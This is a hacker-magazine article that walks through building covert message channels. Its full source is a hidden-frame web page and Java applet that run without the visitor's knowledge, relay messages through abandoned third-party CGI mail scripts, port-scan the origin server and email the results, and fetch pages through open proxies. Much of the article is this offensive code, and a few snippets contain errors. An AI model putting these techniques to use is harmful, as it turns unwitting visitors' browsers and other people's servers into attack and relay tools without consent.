Covert Communication Channels

by OSIN

This article is a demonstration on how various types of communication channels can be rendered in unusual ways.

I should point out that the purpose of writing this article is not to introduce worms, Trojans, or yet another virus, but to get you to view tools and techniques in a new manner, especially in ways they were never meant to be used.  That being said, I will first spell out how the actual mechanism of sending a message over the Internet works.  Then I will delve into the details and scripts required to actually perform the task.

But, you should realize that this type of communication is not for time-sensitive information.  In some ways, these techniques are something like a "Poor Man's Tor."

For purposes of this article, I will assume the reader has some working knowledge of HTML coding with IFrames, JavaScript, and Java-to-JavaScript communication.

Additionally, the full source code for the applet and main HTML/JavaScript page will be available at: uk.geocities.com/osin1941/app/app.html

The way this communication scenario goes is this.

Two people in diverse locations need to send messages to each other.

For simplicity sake, this scenario takes into account one person, Shemp, leaving a text message somewhere out on the Internet.

The other person, Curly, will create a website that will retrieve the message from Shemp's website.

For this discussion both websites will be in the same domain, say for example NyukNyukNyuk.com.

You'll understand later why having that setup makes the communication much easier.

Now, you may be asking yourself, why doesn't Curly merely visit Shemp's website?  It could be that both parties do not want to expose their browsing habits to their ISP or to the NSA.  And even if they were using an anonymizing system such as Tor, they might get blocked by certain countries' tyrannical filtering schemes, such as the Great Firewall of China.  So Curly's website is really the catalyst which kicks off everything, and this whole scenario hinges on Curly's ability to attract an innocent web viewer to view his website.

Curly will create a webpage which will consist of two frames, a top and bottom frame.

The top frame will show some innocuous information that the innocent web visitor will see.  This can be anything, so I don't show any HTML code for top.html.

The bottom frame is where the action will take place.  The HTML code for the page that creates the frames looks like this:

<frameset rows=100%,0%>
<frame name="top" src="top.html" NORESIZE>
<frame name="bottom" src="bottom.html" NORESIZE>
</frameset>

It should be obvious by now that the innocent web viewer in most cases will not even realize there is a bottom frame, but it is there even though we assigned 100% of the browser window to the top.  It is in that bottom frame where all the action takes place.

Operation Moe

About 10 years ago, it was popular for website designers to create little CGI and Perl test scripts to test sending emails to an email account.

There used to be many of those scripts out on the Internet, but over time most disappeared.  But not all of them were deleted.

Some have been out there for years and they aren't being monitored.  I personally know of at least three sites that still allow you to pass text messages in the URL of the HTTP GET call.  I was able to find them by using Google's advanced search settings.

I won't give the exact search criteria I used because I don't want to start a spam attack, but it shouldn't be that hard for you to figure out.

Sending email this way is not really hard.  You just redirect the bottom frame to the script's location, which is usually an acknowledgment page.

Here's the bit of JavaScript code that is loaded by a call in the body HTML tag when bottom.html is loaded: (<body onload="dothis();">

function dothis() {

//change the line below to whatever email script you are using.
var url="http://www.somedomain.com/mail.cgi?name=Shemp&sender=shemp@NyukNyukNyuk.com&recip=curly@NyukNyukNyuk.com&subj=My Message&text=Shemps%32message%32to%32Curly";
this.document.location.href=url;
}

But how does Shemp's message actually get to Curly?

Well, in that case we're going to use the IFrame tag.

Let's say that Shemp has created an account on NyukNyukNyuk.com under his name and has placed a flat text file with the message "How dare you look like someone I hate!"

Curly also has a separate account on NyukNyukNyuk.com for himself, but his homepage is the framed page discussed above.  He has "enticing" visual and textual information to lure someone to view it which kicks off the JavaScript function.  But first, Curly has to make come code changes.  Here is the IFrame code in bottom.html:

<iframe src="http://www.NyukNyukNyuk.com/shemp/message.txt" name="test" onload="dothis(this);">
</iframe>

But Curly also has to make some code changes to the JavaScript function dothis.

Using a search engine, Curly finds some code that will basically pull out the text (technically it pulls out the HTML code) from the IFrame:

function dothis(iframe) {
  content="";
  if (iframe.contentDocument) {
    content=iframe.contentDocument.body.innerHTML;
}
else if (iframe.contentWindow) {
  content=iframe.contentWindow.document.body.innerHTML;
}
else if (iframe.document) {
  content=iframe.document.body.innerHTML;
}

content=content.substring(5,content.length-6);
url="http://www.somedomain.com/mail.cgi?name=Shemp&sender=shemp@NyukNyukNyuk.com&recip=curly@NyukNyukNyuk.com&subj=My Message&text="+content;
this.document.location.href=url;
}

One final note about this technique.  As I said earlier, it is easier if both web sites come from the same domain.

By default, most browsers prevent cross-site scripting across different domains.  This is actually a good thing, but there's nothing preventing a user from allowing this in their browser.  So in theory, groups of people working together could set up a covert channel by changing the settings in their browsers to deliberately allow messages to be sent from separate domains.  Also, expect the same message to be delivered multiple times.

Operation Larry

I know what you're thinking.  Could the above technique work by sending 64-bit encoded images?

In theory yes, but in practice most likely not.  That's because a lot of programmers wisely limited the size of the submitted message in their scripts.  But that's not going to deter Shemp and Curly.  They've thought of another way to communicate: Java-to-JavaScript communication.

This next technique has two requirements but, believe it or not, it's actually not impossible to find a website that fulfills them.  In fact, I actually know of such a website, but I won't mention it since they have been very good to me.  Anyway, the requirements are these:

1.)  The website allows users to have accounts (creating HTML pages and an email account).

2.)  There is an SMTP server and HTML web server running on the same machine.

For those of you who are not Java programmers, an applet normally cannot open a network connection.  But there is one special case in which an applet can: when it's communicating back to the server from whence it came.

And in that case, if there is a server listening on any port, it can normally make a connection to its server of origin and that port.  For the purposes of this demonstration, it is assumed the SMTP server relays messages to Curly's email account of the same domain.

Curly will be the one who will have to implement the Java-JavaScript communications.  Basically, JavaScript communicates to Java by calling one of the Java methods of an applet:

this.document.applets[0].sendEmail(message);

In this case the method sendEmail is a Java method that performs the call to the SMTP server.  On the other side, Java can communicate with JavaScript methods, but we have to set up some special sections in the Java code that is not normally needed for an ordinary applet.  The first is that we must import the class that allows an applet to call JavaScript.  That line is added to the Java code then recompiled:

import netscape.javascript.*;

In most cases, especially Windows machines, the netscape.javascript classes reside in the plugin.jar file.  When you compile your applet you may have to specify the -classpath option in order to compile the Java code.

Anyway, to use the class we must create a new JSObject class:

JSObject win=JSObject.getWindow(this);

Then from our applet we can call any JavaScript function in our page like so:

win.call("dothis", null);

This would call a JavaScript function called dothis() with no variables passed to the function.  As a side note, the null is actually a place holder.  That place is usually reserved for a String array to pass variables into the JavaScript function, but that functionality is beyond the scope of this article.

But we must also pass parameters to this applet in order for it to run correctly.

Let's say Curly wants the option of either having Shemp's message sent to him via a script as we did in Operation Moe, or sending it by connecting to port 25 of our server of origin and sending the message manually so that the applet doesn't have to be recompiled.  Here is an example of how applet parameters are defined for Curly's applet:

<applet code="app.class" width=1 height=1>
<param name="helo_line" value="helo NyukNyukNyuk.com">
<param name="server" value="10.0.0.1">
<param name="smtp_port" value="25">
<param name="from_email" value="shemp@NyukNyukNyuk.com">
<param name="to_email" value="curly@NyukNyukNyuk.com">
<param name="subject" value="My Message to You">
<param name="email_mode" value="homeserver">
</applet>

Most of the parameters are self explanatory, but I should explain a few of them.

The "helo_line" parameter is needed because some SMTP servers require a helo call before they will allow you to send email through them.  You may have to play with that parameter in order to get the applet to work correctly with the server of origin.

The "server" parameter is the server of origin's IP.

And finally "email_mode" instructs the applet on which method it should use to send Shemp's message.

The "homeserver" mode tells the applet to make a connection back to port 25 of the "server" IP and send it to the user defined in "to_email", in this case a valid email account for the domain of the servicing SMTP server.

The other option of email_mode is "script".  This instructs the applet to call a JavaScript function and send the email via the technique introduced in Operation Moe.

Recall that the message itself is retrieved by the IFrame in bottom.html and isn't defined as an applet parameter.  It is already defined by the "content" variable.

Parameters for an applet are retrieved using the getParameter method for applets.  So, we would grab one of the parameters defined on the HTML page like this:

String email_mode=getParameter("email_mode");

Note that you must pass the getParameter method the same name in your Java code as you did in the HTML code.  And here is the snippet of code in the Java applet that sends the message:

public void sendEmail(String message) {

if (email_mode.equals("script")) {
  //if email mode is by script, call the JavaScript func sendContentOverWeb()
  //this is the JavaScript method that calls the CGI email script
  //note that 'message' is already available to the JavaScript function
  System.out.println("Calling method sendContentOverWeb...");
  win.call("sendContentOverWeb",null);
} 
else {
  //else send by opening a network connection back to server we came
  System.out.println("Calling server "+server);
  String inline="";
  String outline="";
  try {
    InetAddress addr = InetAddress.getByName(server);
    Socket sock = new Socket(addr, smtp_port);

    BufferedReader in=new BufferedReader(new InputStreamReader(sock.getInputStream()));
    BufferedWriter out=new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));

    //read in server's welcome
    inline=in.readLine();
    //write out helo line
    out.write(helo_line+"\n");
    out.flush();
    //read in server response
    inline=in.readLine();
    out.write("mail from:"+from_email+"\n");
    out.flush();
    inline=in.readLine();
    out.write("rcpt to:"+to_email+"\n");
    out.flush();
    inline=in.readLine();
    out.write("data"+"\n");
    out.flush();
    //write out the message
    out.write(message+"\n");
    out.flush();
    out.write(".\n");
    out.flush();
    //read in server response
    inline=in.readLine();
    out.write("quit\n");
    out.flush();
    sock.close();
    }
catch(Exception e) {
  System.out.println("SMTP Error: "+e);
  }
 }
}

As you can see, if the "homeserver" has an SMTP server running on it, there is the possibility that an applet could utilize its services, which is why it is generally not a good idea to run an SMTP server on the same machine as the web server.  But Curly has one more zany antic up his sleeve.

Operation Cheese

Getting back to the story, every now and then Curly forgets or makes a mistake and enters the wrong port number for the SMTP server in the applet's parameters.  What he finds is that the applet throws an exception and fails to make a connection since that erroneous port is naturally closed.  Then he begins to wonder, "Can the replication of failure actually give an indication of what ports are open on the server of origin?"

So, he decides to add an applet parameter called "applet_mode" which will allow him to test his theory.  If the applet is in "smtp" mode, it does its normal emailing procedures as discussed in Operations Moe & Larry.  But if it is in "nmap" mode, the applet will try to open a series of ports and email what ports were found open to him.

Since we already know that an applet can only communicate back to the server of origin and that parameter is already defined, Curly must create two more parameters called "start_port" and "end_port".  And he must create another method in his Java code to perform this function:

public void doNmap() {

openports="The following ports are open on "+server+": ";
for (int i=start_port;i<end_port;i++) {
  try {
    InetAddress addr = InetAddress.getByName(server);
    Socket sock = new Socket(addr, proxy_port);

    //if this port is open, an exception will not be thrown and
    //the following code will be executed
    openports+=i+" ";
  }
  catch(Exception me) {
  }
}
sendEmail(openports);
}

Since Curly knows that a Java applet will even bypass a Tor connection and expose his real IP, having an innocent viewer running this code on their machine using the methods discussed previously is critical.

But let's say that in the process of running his applet in "nmap" mode Curly discovers that port 3128 is open on the server of origin!

How convenient.  For those of you who are unfamiliar with Squid, it is a proxy server that listens by default on port 3128.  So Curly decides to add a third mode to his applet: http.

In this mode the applet makes a call to port 3128, and assuming the proxy is an open proxy server, it retrieves whatever webpage Curly desires and emails the HTML code of the request back to him.  In fact, why not have a list of URLs to pass off to the applet?  First Curly creates another applet parameter:

<param name="http_request_list" value="http://www.google.com|http://www.geocities.com|http://www.2600.com">

Note that each URL is separated by "|".

Then he must update his Java code.  The doHttp() method of his Java applet is a nearly exact replica of the doSmtp() method, except the input and output lines are different:

out.write("GET " + url + " HTTP/1.1\n");
out.write("\n");
out.flush();
while((str = in.readLine()) != null) {
  url_code+=str;
}

Then all the doHttp method has to do is call the sendEmail method and pass the url_code value to be emailed to Curly by whatever email mode is defined in the applet parameters of bottom.html.

So,to end the story, the applet has three modes: smtp, nmap, http

And now the punchline: Moe, Larry, the Cheese! >:)

app.java:

import java.applet.*;
import java.util.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import netscape.javascript.*;

public class app extends Applet {

  protected JSObject win;
  protected String server = "";
  protected String openports = "";
  protected int smtp_port = 25;
  protected int http_port = 80;
  protected int proxy_port = 3128;
  protected int start_port = 0;
  protected int end_port = 0;
  protected String helo_line = "helo me.com";
  protected String from_email = "me@me.com";
  protected String to_email = "you@you.com";
  protected String email_mode = "script";
  protected String http_request_list = "";
  protected String applet_mode = "smtp";
  protected String message = "Default test.";

  public void init() {

//create the JSObject comm 
    win = JSObject.getWindow(this);

//now assign all the params from the frame we are currently loaded. 
    server = getParameter("server");
    smtp_port = Integer.parseInt(getParameter("smtp_port"));
    http_port = Integer.parseInt(getParameter("http_port"));
    proxy_port = Integer.parseInt(getParameter("proxy_port"));
    start_port = Integer.parseInt(getParameter("start_port"));
    end_port = Integer.parseInt(getParameter("end_port"));
    from_email = getParameter("from_email");
    helo_line = getParameter("helo_line");
    to_email = getParameter("from_email");
    email_mode = getParameter("email_mode");
    http_request_list = getParameter("http_request_list");
    applet_mode = getParameter("applet_mode");
  } public void start() {

    System.out.println("We are starting up...");
//figure out what mode we are in 

//if smtp go to the doSMTP method 
    if (applet_mode.equals("smtp")) {
      doSmtp();

    } else if (applet_mode.equals("http")) {
//if http go to the doHTTP method 

      doHttp();

    } else if (applet_mode.equals("nmap")) {

      doNmap();

    } else {
    }

  }

  public void sendEmail(String message) {

    if (email_mode.equals("script")) {
//if smtp method is by script, call the javascript func sendContentOverWeb() 
//this check is needed for HTTP mode of the applet. 
      System.out.println("Calling sendContentOverWeb...");
      win.call("sendContentOverWeb", null);

    } else {
//else send by opening a network connection back to server we came 
      System.out.println("Calling server " + server);
      String inline = "";
      String outline = "";
      try {

        InetAddress addr = InetAddress.getByName(server);
        Socket sock = new Socket(addr, smtp_port);

        BufferedReader in =
          new BufferedReader(new InputStreamReader(sock.getInputStream()));
        BufferedWriter out =
          new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
        //read in server's welcome 
        inline = in.readLine();
        System.out.println(inline);
        //write out helo line 
        out.write(helo_line + "\n");
        out.flush();
        //read in server response 
        inline = in.readLine();
        System.out.println(inline);
        out.write("mail from:" + from_email + "\n");
        out.flush();
        inline = in.readLine();
        System.out.println(inline);
        out.write("rcpt to:" + to_email + "\n");
        out.flush();
        inline = in.readLine();
        System.out.println(inline);
        out.write("data" + "\n");
        out.flush();
        //write out the message 
        out.write(message + "\n");
        out.flush();
        out.write(".\n");
        out.flush();
        //read in server response 
        inline = in.readLine();
        System.out.println(inline);
        out.write("quit\n");
        out.flush();
        sock.close();
      }
      catch(Exception e) {
        System.out.println("SMTP Error: " + e);
      }
    }
  }

  public void doSmtp() {

//first figure out which smtp mode we are using 
    if (email_mode.equals("script")) {
//if script-mode, call our frame's javascript func sendContentOverWeb() 
      win.call("sendContentOverWeb", null);

    } else {
//else if smtp mode, call our frame's javascript func sendMessage() 
      win.call("sendMessage", null);
    }
  }

  public void doHttp() {

    StringTokenizer tk = new StringTokenizer(http_request_list, "|");
//for each url 
    while (tk.hasMoreTokens()) {
      getURL(tk.nextToken());
    }
  }

  public void getURL(String url) {
    String url_code = "";
    String inline = "";

    System.out.println("Contacting proxy server...");
    try {
      InetAddress addr = InetAddress.getByName(server);
      Socket sock = new Socket(addr, proxy_port);

      BufferedReader in =
        new BufferedReader(new InputStreamReader(sock.getInputStream()));
      BufferedWriter out =
        new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));

      String str = "";
      out.write("GET " + url + " HTTP/1.1\n");
      out.write("\n");
      out.flush();
      while ((str = in.readLine()) != null) {
        url_code += str;
      }
      out.close();
      in.close();
    }
    catch(Exception pe) {
      System.out.println("Proxy error: " + pe);
    }

    System.out.println(url_code);

    sendEmail(url_code);
  }

  public void doNmap() {

    System.out.println(start_port + " " + end_port);
    openports = "The following ports are open on " + server + ": ";
    for (int i = start_port; i < end_port; i++) {

      try {

        InetAddress addr = InetAddress.getByName(server);
        Socket sock = new Socket(addr, i);
        openports += i + " ";
      } catch(Exception me) {
        System.out.println("Port " + i + " is closed.");
      }

    }                           //end for loop 
    sendEmail(openports);
  }                             //end doNmap 

  public void stop() {
  }
  public void destroyed() {
  }
  public void paint(Graphics g) {
  }
}                               //end applet 


bottom.html:

<html> 
<script language=javascript>  
var message='';  
var http_code='';  
 
function sendMessage() {  
this.document.applets[0].sendEmail(message);  
}  
 
function sendContentOverWeb(){  
//change the line below to whatever email script you are using.  
	var url="http://www.somedomain.com/sendmail.cgi?name=Shemp&sender=shemp@NyukNyukNyuk.com&recip=curly@NyukNyukNyuk&title=My Message&text="+message;  
	this.document.location.href=url;  
}  
 
function dothis(iframe) {  
 
if (iframe.contentDocument) {  
        message=iframe.contentDocument.body.innerHTML;  
}else if (iframe.contentWindow) {  
        message=iframe.contentWindow.document.body.innerHTML;  
}else if (iframe.document) {  
        message=iframe.document.body.innerHTML;  
}  
message=message.substring(5,message.length-6);  
}  
</script>  
 
<body>  
<h1>Bottom Page</h1>  
 
<iframe src="http://www.NyukNyukNyuk.com/shemp/message.txt" name="test" onload="dothis(this);">  
</iframe>  
 
<applet code="app.class" width=1 height=1>  
<param name="helo_line" value="helo NyukNyukNyuk.com">  
<param name="server" value="10.0.0.1">  
<param name="smtp_port" value="25">  
<param name="http_port" value="80">  
<param name="proxy_port" value="3128">  
<param name="start_port" value="1">  
<param name="end_port" value="100">  
<param name="from_email" value="shemp@NyukNyukNyuk.com">  
<param name="to_email" value="curly@NyukNyukNyuk.com">  
<param name="email_mode" value="homeserver">  
<!--  
Email_mode has two options- connect to the homeserver and send an email to  
a user who has an account on the same box that the applet came from.  The  
other option is "script", meaning, use a variation of calling an email  
cgi script which allows us to send email over the internet.  
-->  
 
<param name="http_request_list" value="http://www.google.com|http://www.yahoo.com|http://www.2600.com">  
<!--Seperate items with a | -->  
 
<param name="applet_mode" value="nmap">  
<!--  
Applet_mode has three options- smtp,http, and nmap.  Smtp tells the applet  
that it will immediately send an email with the variable 'message'.  Which method it uses depends on the variable 'email_mode'.  Http tells  
the applet to  
contact a proxy server on the server of origin to get the webpage requested  
The third option tells the applet  
to try to open ports back to the server of origin to see which are open.  
-->  
</applet>  
</body></html>

Code: app.java

Code: bottom.html

Return to $2600 Index